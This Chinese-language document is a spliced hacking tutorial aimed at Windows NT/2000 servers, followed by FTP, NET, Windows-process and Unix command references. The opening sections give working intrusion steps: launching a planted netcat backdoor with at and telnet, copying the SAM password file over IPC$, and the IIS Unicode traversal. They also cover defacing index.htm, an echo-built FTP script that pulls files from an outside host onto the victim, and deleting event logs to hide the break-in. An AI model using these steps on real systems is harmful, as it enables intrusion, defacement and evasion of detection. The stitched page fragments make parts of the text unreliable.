net命令果然强大啊！ net view命令看对方开了共享-------------------------------------------------------------------------------------------------------------net user是查看所有用户列表，看看哪个用户是和你一样偷跑进来的，给他名给删掉，让他美，net user 用户名 /delete哈哈,他没有了,管他什么是不是管理员呢,不过我们还是查一下管理员组有什么用户吧,这样的用户才对我们有用嘛 net localgroup administrators就列出管理员组成员了,再查看一下administrator这个用户，因为这个是创建系统时建出来的，所以要看看他的系统是什么时间创建出来的net user administrator，然后再查看别的管理员用户是什么时间创建的，如果相差太远，那可能是被别人偷偷跑来偷建的，一律del，安全第一哦................ ---------------------------------------------------------------------------------------------------------------------------
2:at 一般一个入侵者入侵后都会留下后门，也就是种木马了，你把木马传了上去，怎么启动他呢？ 那么需要用AT命令，这里假设你已经登陆了那个服务器。 ---------------------- 你首先要得到对方的时间， net time \\127.0.0.1 ---------------------- 将会返回一个时间，这里假设时间为12:1，现在需要新建一个作业，其ID=1 at \\127.0.0.1 12:3 nc.exe 这里假设了一个木马，名为NC.EXE，这个东西要在对方服务器上. 这里介绍一下NC，NC是NETCAT的简称，为了方便输入，一般会被改名.它是一个TELNET服务，端口为99. 等到了12:3就可以连接到对方的99端口.这样就给对方种下了木马. -----------------------------------------------------at命令功能强大,下面可以打个比方:C:\& AT 22:30 Start C:\prettyboy.mp3 新加了一项作业，其作业 ID = 1 [现在我们新建立了一个任务 在22:30分 系统将自动播放歌曲]---------------------------------------------------------------------------------------------------------------------------3:telnet 这个命令非常实用，它可以与远方做连接，不过正常下需要密码、用户，不过你给对方种了木马，直接连到这个木马打开的端口. telnet 127.0.0.1 99 这样就可以连到对方的99端口.那你就可以在对方运行命令了，这个也就是肉鸡. ---------------------------------------------------------------------------------------------------------------------------4:FTP 它可以将你的东西传到对方机子上，你可以去申请个支持FTP上传的空间，国内多的是，如果真的找不到，我给WWW.51.NET，不错的.当我们申请完后，...?约癋TP服务器. 在上传前需要登陆先，这里我们假设FTP服务器WWW.51.NET，用户名是HUCJS，密码是654321 ftp www.51.net 他会要求输入用户，成功后会要求输入密码. ---------------------- 下面先说上传，假设你需上传的文件是INDEX.HTM，它位于C:\下，传到对方D:\ get c:\index.htm d:\ 假设你要把对方C盘下的INDEX.HTM，下到你的机子的D盘下 put c:\index.htm d:\ --------------------------------------------------这里的问题是两个命令的解释正好弄反了，登陆ＦＴＰ服务器后get才是下载，而put命令是上传，这和tftp的命令正好相反，在tftp命令里get是上传put是下载，这下明白了吧，而且在ＦＴＰ服务器中不能用c:\和d:\这样来指明路径，这也是在tftp里面用的方法，FTP可不会执行的，不信你去试好了，正确应该这样上传文件put index.htm这样就足够了，装c盘根目录下的index.htm文件上传到FTP服务器的当前目录下，不喜欢就del index.htm删掉这文件，下载时先查看一下目录，dir然后看这个目录里有什么，有你要的你就get index.htm这样就把index.htm这个文件下载到你自己的c盘根目录下了。 --------------------------------------------------------------get index.htm c:\inetpub\wwwroot\index.htm（这里是把你空间上的index.htm下载到对方的c:\inetpub\wwwroot\index.htm）" 这句的解释里就没有出现错误，呵呵，看来那以前的还是马虎所至吧 好了，总算找出错处了吧，再说下面吧。---------------------------------------------------------------------------------------------------------------------------5:copy 下面我说说怎样把本地的文件复制到对方硬盘上去， 需要建立好IPC$连接才有效。 这里我们把本地C盘下的index.htm复制到127.0.0.1的C盘下 copy index.htm \\127.0.0.1\c$\index.htm ---------------------- 如果你要复制到D盘下 把C改为D， 就行了！ copy index.htm \\127.0.0.1\d$\index.htm ---------------------- 如果你要把他复制到 WINNT 目录里 就要把输入 copy index.htm \\127.0.0.1\admin$\index.htm admin$是winnt --------------------- 要把对方的文件复制过来，顺便告诉大家 NT的备份的数据库放在x:\winnt\repair\sam._ sam._是数据库的文件名 ---------------------- ---------------------- 下面就把127.0.0.1的数据库复制到本地C盘下 copy \\127.0.0.1\admin$\repair\sam._ c:\ 这个sam._这明显是NT主机的口令档，如果是win2000机器的口令文件应该是sam ---------------------------------------------------------------------------------------------------------------------------6：set 如果你跑进了一部机子，而且想黑他（这思想只能在特别时候才准有），当然他的80端口要开，不然你黑给谁看。这时需要用SET命令！
下面是我得到的结果！我来分析它，只是找主页在那而已。
COMPUTERNAME=PENTIUMII ComSpec=D:\WINNT\system32\cmd.exe CONTENT_LENGTH=0 GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=*/* HTTP_ACCEPT_LANGUAGE=zh-cn HTTP_CONNECTION=Keep-Alive HTTP_HOST=当前登陆者的IP，这里本来是显示我的IP，被我删除了 HTTP_ACCEPT_ENCODING=gzip， deflate HTTP_USER_AGENT=Mozilla/4.0 ( MSIE 5.0; Windows 98; DigExt) NUMBER_OF_PROCESSORS=1 Os2LibPath=D:\WINNT\system32\os2\ OS=Windows_NT Path=D:\WINNT\system32;D:\WINNT PATHEXT=.COM;.EXE;.BAT;.CMD PATH_TRANSLATED=E:\vlroot主页放在的地址，只要你看到PATH_TRANSLATED=的后面就是主页的存放地址。这里是E:\vlroot PROCESSOR_ARCHITECTURE=x86 PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3， GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=0303 PROMPT=$P$G QUERY_STRING=/c+set REMOTE_ADDR=XX.XX.XX.XX REMOTE_HOST=XX.XX.XX.XX REQUEST_METHOD=GET SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe SERVER_NAME=XX.XX.XX.XX SERVER_PORT=80 SERVER_PORT_SECURE=0 SERVER_PROTOCOL=HTTP/1.1 SERVER_SOFTWARE=Microsoft-IIS/3.0对方使用IIS/3.0 SystemDrive=D: SystemRoot=D:\WINNT TZ=GMT-9 USERPROFILE=D:\WINNT\Profiles\Default User windir=D:\WINNT
粉红色的那行就是对方主页存放地址，这里告诉大家一个技巧，很笨的技巧啊，不过只能用这个方法才能100%的找到主页的名称，当你DIR这个目录时，一定会看到很多文件，你可以把所有文件在浏览器这样输入XX.XX.XX.XX/文件名，这样只要看到和XX.XX.XX.XX看到的也面一模一样，那么这就是主页的名称了。 ---------------------------------------------------------------------------------------------------------------------------7：nbtstat 如果你扫到一部NT的机子，他的136到139其中一个端口开了的话，就要用这个命令得到用户了。顺便告诉大家这是netbios，得到用户名后就可以猜猜密码了。例如比较简单的密码，密码和用户名一样的，都试下，不行就暴力破解吧！ 现在网上很多NT的机子都开了这些端口的，你可以练习下，我们来分析得到的结果。 命令是 nbtstat -A XX.XX.XX.XX -A一定要大写哦。 这个我认为大不大写没有太大差别，用处还是一样的。之后用net use \\对方IP 连接一下！net view \\对方IP 查看对方共享文件夹net use X: \\IP\对方共享文件 映射对方共享文件夹成为本机的X盘这就是139端口的基本用法！不过前提是必须对方开共享！netstat -n看看谁连接你-----------------下面是得到的结果。 NetBIOS Remote Machine Name Table Name Type Status --------------------------------------------- Registered Registered Registered Registered Registered Registered Registered Reg istered Registered Registered Registered MAC Address = 00-E0-29-14-35-BA PENTIUMII &00& UNIQUE PENTIUMII &20& UNIQUE ORAHOTOWN &00& GROUP ORAHOTOWN &1C& GROUP ORAHOTOWN &1B& UNIQUE PENTIUMII &03& UNIQUE INet~Services &1C& GROUP IS~PENTIUMII...&00& UNIQUE ORAHOTOWN &1E& GROUP ORAHOTOWN &1D& UNIQUE ..__MSBROWSE__.&01& GROUP
粉红色的就是登陆过这部系统的用户，可能你不知道怎么看，大家是不是看到了一窜数字，只要这窜数字是 &03& 的话，那他前面的就是用户. 这里的用户是PENTIUMII。 没有03说明:MAC没和IP捆在一起了---------------------------------------------------------------------------------------------------------------------------8：Shutdown 关了对方的NT服务器的命令 Shutdown \\IP地址 t:20 20秒后将NT自动关闭，三思后才能运行这个命令，这样对对方造很大的损失，要做个有良心的入侵者呀。 Telnet进去用命令或者是本地用什么软件重启对方电脑shutdown -m \\计算机名称 可以远程重起或关闭的 --------------------------------------------------------------------------------9：DIR 这个命令没什么好讲，但是却非常重要，他是查看一目录里的所有文件、文件夹。 你可以本地试下。 --------------------------------------------------------------------------------10：echo 著名的漏洞Unicode，这个命令可以简单的黑一下有这个漏洞的主机。 我们假设我们要把“南京大屠杀铁证如山，任何日本人不得抵赖！”写入index.htm，有2种方法，大家看看有什么区别。 -------------------------------------------------------echo 南京大屠杀铁证如山，任何日本人不得抵赖！&index.htm echo 南京大屠杀铁证如山，任何日本人不得抵赖！&&index.htm -------------------------------------------------------第一个的意思是覆盖index.htm原有的内容，把“南京大屠杀铁证如山，任何日本人不得抵赖！”写进index.htm。 第二个的意思是把“南京大屠杀铁证如山，任何日本人不得抵赖！”加到index.htm里面。 -------------------------------------------------------“&&”产生的内容将追加进文件中，“&”则将原文件内容覆盖。
这里说明一下，&和&是重定向命令只是一个是输入重定向另一个是输出重定向，比如我们在命令提示符下就会显示c:\&这个意思就是把C盘的命令权重定向给我们，同样：也是定向的命令也叫作管道，它是用来连接两个命令的管道，先执行管道左边的命令，再执行管道右边的命令，不过我是没能耐把DOS命令说明白的，想研究就买本dos大全看吧，够看半年的了。-------------------------------------------------------大家可以本地试下。 可能你会问，这样简单黑下有什么好玩的，其实他可以用来下载主页到对方的目录里。 1、首先，我们需要申请一个免费的主页空间。 2、用echo在可写目录下建立如下内容的txt文件：（以chinren服务器为例。） open upload.chinaren.com（你的FTP服务器，申请时你的空间提供商会给你的） cnhack（你申请时的用户名） test（你申请时的密码） get index.htm c:\inetpub\wwwroot\index.htm（这里是把你空间上的index.htm下载到对方的c:\inetpub\wwwroot\index.htm） bye（退出FTP对话，相当在98下的DOS，用EXIT退出DOS） --------------------------------------------- 具体的做法： 输入 echo open upload.chinaren.com& c:\cnhack.txt 输入 echo cnhack && c:\cnhack.txt 输入 echo 39abs && c:\cnhack.txt 输入 echo get index.htm c:\inetpub\wwwroot\index.htm+&&+c:\cnhack.txt
上一页&&[1]&[2]&[3]&[4]&[5]&[6]&[7]&下一页&&
文章录入：csh&&&&责任编辑：csh&
最后输入 ftp -s:c:\cnhack.txt （利用ftp的-s参数，执行文件里的内容。） 等命令完成时，文件已经下载到你指定的文件里了。 -----------------------注意：取得文件后，请删除cnhack.txt。（如果不删除，很容易会给别人看到你的密码。） 记得要 del c:\cnhack.txt --------------------------------------------------------------------------------11:attrib 这个命令是设置文件属性的。如果你想黑一个站，而他的主页的文件属性设置了只读，那就很可怜呀，想删除他也不行，想覆盖他也不行。倒！不过有这个命令就别怕了。 attrib -r index.htm 这个命令是把index.htm的只读属性去掉。 如果把“-”改为“+”则是把这个文件的属性设置为只读 ---------------------- attrib +r index.htm这个命令是把index.htm的属性设置为只读。 ----------------------------------------attrib这个命令先要用来查属性，比如attrib 文件名，这样就显示出这个文件的属性了，它不止有R这个属性，其实一共有四种属性， a 档案属性 r 只读属性 h隐含属性 s系统属性，我们想用哪个就用哪个，我觉得把我们上传的文件加个隐含属性更有意思，，，，，继续挑那贴的错.---------------------------------------------------------------------------------------------------------------------------12:del 当你看到这个标题可别倒下啊！现在要离开127.0.0.1了，要删除日志，当然要删除日志啦！想被捉吗。呵呵。 NT的日志有这些 del C:\winnt\system32\logfiles\*.* del C:\winnt\ssytem32\config\*.evt del C:\winnt\system32\dtclog\*.* del C:\winnt\system32\*.log del C:\winnt\system32\*.txt del C:\winnt\*.txt del C:\winnt\*.log 只要删除这些就可以了。有些系统NT安装在D盘或其他盘，就要把C改成其他盘。Internet信息服务FTP日志默认位置：%systemroot%\system32\logfiles\msftpsvc1\，默认每天一个日志 Internet信息服务WWW日志默认位置：%systemroot%\system32\logfiles\w3svc1\，默认每天一个日志 Scheduler服务日志默认位置：%systemroot%\schedlgu.txt 以上日志在注册表里的键： 应用程序日志，安全日志，系统日志，DNS服务器日志，它们这些LOG文件在注册表中的： HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog 有的管理员很可能将这些日志重定位。其中EVENTLOG下面有很多的子表，里面可查到以上日志的定位目录。 Schedluler服务日志在注册表中 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SchedulingAgent -------------------------------------------------------------------- del确实是删除文件用的，log也确实是日志文件类型，不过按上面这种方法是不可能清理掉你自身的日志的，因为系统自动运行着日志记录，你在做这些时它一直都在记录着，并没有停止，大家也会常看到，有时删除某个文件时会提示系统正在占用拒绝删除的，呵呵，这就明白了，系统正在运行的东西已经驻留内存里，当然不能这样删除掉了，大家怕了吧，这样删等于帮别人清理了日志，没删自己那份啊，哈哈哈哈，要问我怎么清理，我只说大家还是用小榕的工具来清吧，那个又快又好，我们何必去用那些烦琐的命令行呢，尤其对生长在windows桌面操作下的人们那显然是太麻烦了，我推荐小榕的elsave工具，清理日志又快又干净，还省电呢，嘻嘻，我可不是做广告来的。-------------------------------------------------------------------------借助第三方工具：如小榕的elsave.exe远程清除system,applicaton,security的软件，使用方法很简单，首先利用获得的管理员账号与对方建立ipc会话，net use \\ip pass /user: user然后命令行下：elsave -s \\ip -l application -C，这样就删除了安全日志。其实利用这个软件还可以进行备份日志，只要加一个参数 -f filename就可以了，在此不再详述。--------------------------------------------------------------------------------局域网要别人死机? 他C盘开了共享的话(win98,而且没有打补丁),你在DOS下输入\\他的IP或机器名\c\con\con--------------------------------------------------------------------------------
FTP命令大全 先说说他的功能吧，主要就是从运行FTP服务器的计算机传输文件。可以交互使用。这里要注意，只有安装了tcp/ip协议的机器才能使用ftp命令。
命令格式：ftp [-v][-d][-i][-n][-g][-s:filename][-a][-w:windowsize][computer]
说说他们的含义吧。 -v 不显示远程服务器响应 -n 禁止第一次连接的时候自动登陆 -i 在多个文件传输期间关闭交互提示 -d 允许调试、显示客户机和服务器之间传递的全部ftp命令 -g 不允许使用文件名通配符，文件名通配符的意思是说允许在本地文件以及路径名中使用通配字符 -s:filename 指定包含ftp命令的文本文件。在ftp命令启动后将自动运行这些命令。在加的参数里不能有空格。 -a 绑定数据连接时，使用任何的本地端口 -w:windowsize 忽略默认的4096传输缓冲区 computer 指定要连接的远程计算机的ip地址
1） ? 说明：显示ftp命令的说明。后面可以加参数，是加需要解释的命令名，不加则显示包含所有命令列表。
2） ! 说明:功能是在本地计算机上运行指定命令。 如! command 其中command就是你要运行的命令，如果不加command这个参数的话，则显示本地命令提示， 这时你输入exit命令就能返回到ftp了。
3）$ macro－ame[args] 说明：执行宏定义macro－name。
4） append 说明：使用当前文件类型设置，将本地文件附加到远程计算机中。大概格式是append local-file [remote-file] 其中local-file是说指定要添加的本地文件。remote-file是说指定要将local-file附加到远程计算机文件，要是省了这个，则是使用本地文件名做远程文件名。
5）account[password] 说明：提供登录远程系统成功后访问系统资源所需的补充口令。
6)ascii 说明:默认情况下，将文件传输类型设置为ASCII
7)bell 说明：响玲开关，意思是文件传输完成后是否有玲声提醒。默认是关闭的。
8)binary 说明：将文件传输类型设置为二进制。
9)bye 说明:结束和远程计算机的ftp会话，也就是安全断开，退出ftp.
10)cd 说明：更改远程计算机上的工作目录。 如cd data 其中data是要进入的远程计算机的目录。
12）cdup 说明：进入远程主机目录的父目录。
13）chmod modefile－name 说明：将远程主机文件file－name的存取方式设置为mode。 如 chmod 777 a.out。
14）cr 说明：使用asscii方式传输文件时,将回车换行转换为回行。
15)close 说明:结束与远程服务器的ftp会话，并返回命令解释程序。
16)dir 说明:显示远程的文件以及子目录列表。 如dir data local-file其中data是指定要查看列表的目录，没指定的话就是当前目录。local-file是指定要保存列表的本地文件，不指定的话就在屏幕输出。
17)debug 说明：调试开关，打开的时候打印每个发送到远程计算机的命令，命令前有——&默认情况是关闭的。
18)disconnnect 说明：与远程计算机断开连接，但还保持着ftp命令提示符。
19）delete remote－file 说明：删除远程主机文件。
20）disconnection 说明：同close。
21）form format 说明：将文件传输方式设置为format,缺省为file方式。
22)get 说明：使用当前文件传输类型，把远程的文件拷贝到本地计算机上。 如get remote-file local-fileremote-file是指定要复制的文件，local-file是指定本地计算机上的文件名，没有指定的话则个remote-file同名。
23)glob 说明：文件名通配开关
24)hash 说明：转换每个传输数据快的散列标记打印(#).数据快的大小是2048字节。默认情况下是关闭的，
25)help 说明：显示ftp命令的解释，如help commmand 其中command就是你要解释的命令，如果不加command这个参数的话就会显示所有命令的列表
26）idle[seconds] 说明：将远程服务器的休眠计时器设为[seconds]秒。
27）image 说明：设置二进制传输方式(同binary)
28)lcd 说明:更改本地计算机的本地目录,在默认的时候是启动ftp的目录.这个不要觉得没用啊，在你使用ftp的时候为了传递文件不是常改变本地和远程计算机的目录吗? 如lcd [directory] 其中[directory]是指定要进入的本地计算机的目录,如果你不加这个参数,就会显示出本地计算机的工作目录.
29)literal 说明:向远程ftp服务器发送协商参数,报告. 如lireral argument [...] 其中argument是指定要发送给远程服务器的协商参数。
30)ls 说明:显示远程目录的文件和字目录. 如ls remote-directory local-file其中remote-directory是指要查看的列表的目录,不指定的话显示的是当前工作目录。local-file是指定要保存列表的本地文件.不指定的话是在屏幕上输出.
31）macdef macro－name 说明：定义一个宏,遇到macdef下的空行时,宏定义结束。
32)mdelete 说明:删除远程计算机上的文件. 如mdelete remote-file ...remote-file肯定是要删的文件啊，可以删除多个.
33)mdir 说明:显示远程目录的文件和子目录列表,他允许指定多个文件. 如mdir remote-file ... local-file参数我想大家应该明白什么意思吧?不明白就看看前面的类似命令吧.
34)mget 说明:使用当前文件传输类型将多个远程文件复制到本地计算机. 如mget remote-files ...其实remote-files可以指定多个，他就是指定要复制到本地计算机的远程文件.
35)mkdir 说明:创建远程目录. 如mkdir directory 这个命令和nt下的命令提示符中的md directory一样，不多说了.
36)mls 说明:显示远程目录的文件和目录简表 如mls remote-file ... local-file其中remote-file这个参数是必须要加的，'-'是使用远程计算机的当前工作目录.
37)mput 说明:使用当前文件传输类型,将本地文件复制到远程计算机. 如mput local-files ...
38）mode[mode－name] 说明：将文件传输方式设置为mode－name,缺省为stream方式。
39）modtime file－name 说明：显示远程主机文件的最后修改时间。
39）newerfile－name 说明：如果远程机中file－name的修改时间比本地硬盘同名文件的 时间更近,则重传该文件。
40）nlist[remote－dir][local－file] 说明：显示远程主机目录的文件清单,并存入本 地硬盘的local－file。
41）nmap[inpatternoutpattern] 说明：设置文件名映射机制,使得文件传输时,文件中的 某些字符相互转换。 如nmap￥1.￥2.￥3[￥1,￥2].[￥2,￥3],则传输文件a1.a2.a3时 , 文件名变为a1、a2，该命令特别适用于远程主机为非U－NIX机的情况。
42）ntrans[inchars[outchars] 说明：设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。
43）open 说明:连接到指定ftp服务器上， 如open computer port 其中computer一般是远程计算机的ip地址,port不用说就是指定端口了。
44）passive 说明：进入被动传输方式。
45)prompt 说明:转换提示,在多个文件传输的时候,ftp提示可以有选择的检索或保存文件，如果关闭提示,则mget和mput命令传输所有文件,在默认情况下是打开的.
46）proxyftp－cmd 说明：在次要控制连接中,执行一条ftp命令,该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接
47)put 说明:使用当前文件传输类型将本地文件复制到远程计算机中， 如put local-file remote-file其中local-file是指定要复制的本地文件，remote-file是指定要复制的远程计算机上的文件名，不指定的话是和本地计算机上的文件名同名.
48)pwd 说明:显示远程呢感计算机上的当前目录.
49)quit 说明:结束与远程计算机的ftp会话,并退出ftp.
50)quote 说明:向远程ftp服务器发送协议,报告.期待ftp单码应答,这个命令的功能和literal相同.
51)recv 说明:使用当前文件传输类型将远程文件复制到本地计算机,他与get命令作用相同。
52）regetremote－file[local－file] 说明：类似于get,但若local－file存在,则从上 次传输中断处续传
53)remotehelp 说明:显示远程命令的帮助.这个命令的用法和help,!一样可以参考他的用法.
54)rename 说明:更改远程计算机上的文件名。这个命令和nt的命令提示符的ren一样。 如rename filename newfilename
55）reset 说明：清除回答队列。
56）restart marker 说明：从指定的标志marker处,重新开始get或put,如restart 130。
57)rmdir 说明:删除远程目录.这个命令和nt的命令提示符的rm一样。 如rmdir directory
58）runique 说明：设置文件名唯一性存储,若文件存在,则在原文件后加后缀。
59)send 说明:使用当前文件传输类型将本地文件复制到远程计算机.send和put命令的功能一样。 如send local-file remote-file
60)status 说明:显示ftp连接和转换的当前状态
61sendport 说明：设置PORT命令的使用。
62）site arg1,arg2...... 说明：将参数作为SITE命令逐字发送至远程ftp主机。
63）size file－name 说明：显示远程主机文件大小。 如site idle 7200。
64）status 说明：显示当前ftp状态。 　　 65）struct[struct－name] 说明：将文件传输结构设置为struct－name,缺省时使用 stream结构。
66）sunique 说明：将远程主机文件名存储设置为唯一(与runique对应)。 　　 67）system 说明：显示远程主机的作系统类型。
68）tenex 说明：将文件传输类型设置为TENEX机所需的类型。 　　 69）tick 说明：设置传输时的字节计数器。
70)trace 说明:转换报文跟踪,运行ftp的命令时,trace将显示没个报文的理由。
71)type 说明:设置或显示文件传输类型. 如type [type-name]其中type-name 的意思是文件传输的类型，默认是ASCII,没加这个参数就是显示当前的传输类型.
72umask[newmask] 说明：将远程服务器的缺省umask设置为newmask,如umask 3。
73)user 说明:指定连接到远程计算机的用户. 如user user-name [passwd] [account]其中user-name不用说都是用来登陆计算机的用户名了，passwd是指定user-name的密码,不指定的话ftp会提示输入密码。account是指定用来登陆计算机的帐号,如不指定,ftp会提示输入帐号.
74)verbose 说明:转换冗余模式,这里如果打开,会显示所有ftp响应,文件传输结束的时候会显示传输的效率和统计信息,默认的情况是打开的.&NET命令全接触!! 命令在WINDOWS下非常实用,那么为什么在这个安全版块讲呢!因为IPC$在HACKER攻击中作用得重要性大家都十分清楚.ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问.要实施一次IPC$攻击就必须首先了解对方有没有共享信息和类别.所以说大家了解了NET命令才能更好得掌握和防止IPC$攻击&.下面我给大家介绍一下NET命令,希望能给大家更好的了解IPC$ NET HELP 不用说就是NET命令得帮助信息了 NET COMPUTER 创建用户帐号. NET GROUP 修改全局组设置 NET CONFIG 这个命令在2000服务器版本中经常能用到. 它是用来显示服务器配置信息. NET SATATICS 用来统计网络信息的 NET USE 这个最常用了.不用我多说用来访问网络共享资源得 NET FILE显示文件的共享和锁定信息 NET START 用来启动网络服务 NET STOP 嘿嘿当然是用来关闭网络服务的 NET SEND 向一个目标机发送服务的 NET CONTINUE 重新启动服务 NET ACCOUNT 在2000和NT中维护帐户数据库的 NET LOCALGROUP 修改全局组设置 NET VIEW查看网络共享资源 NET SHARE 用来创建或删除系统中共享资源的 NET PAUSE 暂停网络服务. NET NAME修改或删除信息名 NET USER维护帐户信息 一口气终于写玩了.大家看看要是哪点不对请多多赐教.
2000-xp详细进程表
今天去朋友那里玩，看到这个，给他拉过来了！大家收藏一下好东西呀！－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－最基本的系统进程（也就是说，这些进程是系统运行的基本条件，有了这些进程，系统就能正常运行）: smss.exe Session Manager csrss.exe 子系统服务器进程 winlogon.exe 管理用户登录 services.exe 包含很多系统服务 lsass.exe 管理 IP 安全策略以及启动 ISAKMP/Oakley (IKE) 和 IP 安全驱动程序。(系统服务) 产生会话密钥以及授予用于交互式客户/服务器验证的服务凭据(ticket)。(系统服务) svchost.exe 包含很多系统服务 svchost.exe SPOOLSV.EXE 将文件加载到内存中以便迟后打印。(系统服务) explorer.exe 资源管理器 internat.exe 托盘区的拼音图标 附加的系统进程（这些进程不是必要的，你可以根据需要通过服务管理器来增加或减少）: mstask.exe 允许程序在指定时间运行。(系统服务) regsvc.exe 允许远程注册表xx作。(系统服务) winmgmt.exe 提供系统管理信息(系统服务)。 inetinfo.exe 通过 Internet 信息服务的管理单元提供 FTP 连接和管理。(系统服务) tlntsvr.exe 允许远程用户登录到系统并且使用命令行运行控制台程序。(系统服务) 允许通过 Internet 信息服务的管理单元管理 Web 和 FTP 服务。(系统服务) tftpd.exe 实现 TFTP Internet 标准。该标准不要求用户名和密码。远程安装服务的一部分。(系统服务) termsrv.exe 提供多会话环境允许客户端设备访问虚拟的 Windows 2000 Professional 桌面会话以及运行在服务器上的基 于 Windows 的程序。(系统服务) dns.exe 应答对域名系统(DNS)名称的查询和更新请求。(系统服务) 以下服务很少会用到，上面的服务都对安全有害，如果不是必要的应该关掉 tcpsvcs.exe 提供在 PXE 可远程启动客户计算机上远程安装 Windows 2000 Professional 的能力。(系统服务) 支持以下 TCP/IP 服务：Character Generator, Daytime, Discard, Echo, 以及 Quote of the Day。(系统服务) ismserv.exe 允许在 Windows Advanced Server 站点间发送和接收消息。(系统服务) ups.exe 管理连接到计算机的不间断电源(UPS)。(系统服务) wins.exe 为注册和解析 NetBIOS 型名称的 TCP/IP 客户提供 NetBIOS 名称服务。(系统服务) llssrv.exe License Logging Service(system service) ntfrs.exe 在多个服务器间维护文件目录内容的文件同步。(系统服务) RsSub.exe 控制用来远程储存数据的媒体。(系统服务) locator.exe 管理 RPC 名称服务数据库。(系统服务) lserver.exe 注册客户端许可证。(系统服务) dfssvc.exe 管理分布于局域网或广域网的逻辑卷。(系统服务) clipsrv.exe 支持“剪贴簿查看器”，以便可以从远程剪贴簿查阅剪贴页面。(系统服务) msdtc.exe 并列事务，是分布于两个以上的数据库，消息队列，文件系统，或其它事务保护资源管理器。(系统服务) faxsvc.exe 帮助您发送和接收传真。(系统服务) cisvc.exe Indexing Service(system service) dmadmin.exe 磁盘管理请求的系统管理服务。(系统服务) mnmsrvc.exe 允许有权限的用户使用 NetMeeting 远程访问 Windows 桌面。(系统服务) netdde.exe 提供动态数据交换 (DDE) 的网络传输和安全特性。(系统服务) smlogsvc.exe 配置性能日志和警报。(系统服务) rsvp.exe 为依赖质量服务(QoS)的程序和控制应用程序提供网络信号和本地通信控制安装功能。(系统服务) RsEng.exe 协调用来储存不常用数据的服务和管理工具。(系统服务) RsFsa.exe 管理远程储存的文件的xx作。(系统服务) grovel.exe 扫描零备份存储(SIS)卷上的重复文件，并且将重复文件指向一个数据存储点，以节省磁盘空间。(系统服务) SCardSvr.exe 对插入在计算机智能卡阅读器中的智能卡进行管理和访问控制。(系统服务)
上一页&&[1]&[2]&[3]&[4]&[5]&[6]&[7]&下一页&&
文章录入：csh&&&&责任编辑：csh&
snmp.exe 包含代理程序可以监视网络设备的活动并且向网络控制台工作站汇报。(系统服务) snmptrap.exe 接收由本地或远程 SNMP 代理程序产生的陷阱消息，然后将消息传递到运行在这台计算机上 SNMP 管理程序 。(系统服务) UtilMan.exe 从一个窗口中启动和配置辅助工具。(系统服务) msiexec.exe 依据 .MSI 文件中包含的命令来安装、修复以及删除软件。(系统服务)
有些东西是我们一定一定要记住的。&第一章 目录及文件操作命令
[语法]： ls [-RadCxmlnogrtucpFbqisf1] [目录或文件......] [说明]： ls 命令列出指定目录下的文件，缺省目录为当前目录 ./，缺省输出顺序为纵向按字符顺序排列。 -R 递归地列出每个子目录的内容 -a 列出所有文件，包括第一个字符为“.”的隐藏文件 -d 若后面参数是目录，则只列出目录名而不列出目录内容，常与-l选项连 用以显示目录状态。 -C 输出时多列显示 -x 横向按字符顺序排列 -m 输出按流式格式横向排列，文件名之间用逗号(，)分隔 -l 长列表输出，显示文件详细信息，每行一个文件，从左至右依次是： 文件存取模式 链接数 文件主 文件组 文件字节数 上次修改时间 其中文件存取模式用10个字母表示，从左至右的意义如下： 第一个字母表示文件种类，可以是以下几种情况： d 为目录文件 l 为链接 b 为块文件 c 为字符型文件 p 为命名管道（FIFO) - 为普通文件 后面9个字母分别表示文件主、同组用户、其他用户对文件的权力，用r表示可读，w 表示可写，x 表示可执行。如果是设备文件，则在文件字节数处显示：主设备 从设备。 -n 与-l选项相同，只是文件主用数字(即UID)显示，文件组用数字 (即GID)表示 -o 与-l选项相同，只是不显示文件组 -g 与-l选项相同，只是不显示文件主 -r 逆序排列 -t 按时间顺序排列而非按名字 -u 显示时间时使用上次访问时间而非上次修改时间 -c 显示时间时使用上次修改i节点时间而非上次修改时间 -p 若所列文件是目录文件，则在其后显示斜杠(/) -F 在目录文件后加'/'，在可执行文件后加'*' -b 文件名中若有非打印字符，则用八进制显示该字符 -q 文件名中的打印字符用'?'表示 -i 显示节点号 -s 显示文件长度时使用块长度而非字节长度 -f 将后面的参数解释为目录并列出其中的每一项 -1 每行仅列一项 [例子]: ls 列出当前目录下的文件 ls -al /bin 以长列表的形式列出目录 /bin 下的所有文件，包括隐藏文件
[语法]: pwd [说明]： 本命令用于显示当前的工作目录 [例子]: pwd 显示出当前的工作目录
[语法]: cd [目录] [说明]：本命令用于改变当前的工作目录，无参数时使用环境变量$HOME 作为其参数，$HOME 一般为注册时进入的路径。 [例子]： cd 回到注册进入时的目录 cd /tmp 进入 /tmp 目录 cd ../ 进入上级目录 1.4 mkdir
[语法]: mkdir [-m 模式] [-p] 目录名 [说明]: 本命令用于建立目录，目录的存取模式由掩码（umask)决定，要求对其父目录具有写权限，目录的UID和GID为实际UID和GID -m 按指定存取模式建立目录 -p 建立目录时建立其所有不存在的父目录 [例子]: mkdir tmp 在当前目录下建立子目录 tmp mkdir -m 777 /tmp/abc 用所有用户可读可写可执行的存取模式 建立目录 /tmp/aaa ，存取模式参看命令 chmod mkdir -p /tmp/a/b/c 建立目录 /tmp/a/b/c ，若不存在目录 /tmp/a 及/tmp/a/b 则建立之
[语法]: rmdir [-p] [-s] 目录名 [说明]: 本命令用于删除目录 -p 删除所有已经为空的父目录 -s 当使用-p 选项时，出现错误不提示 [例子]: rmdir /tmp/abc 删除目录 /tmp/abc rmdir -p /tmp/a/b/c 删除目录 /tmp/a/b/c ，若目录 /tmp/a /b 及/tmp/a 空，则删除
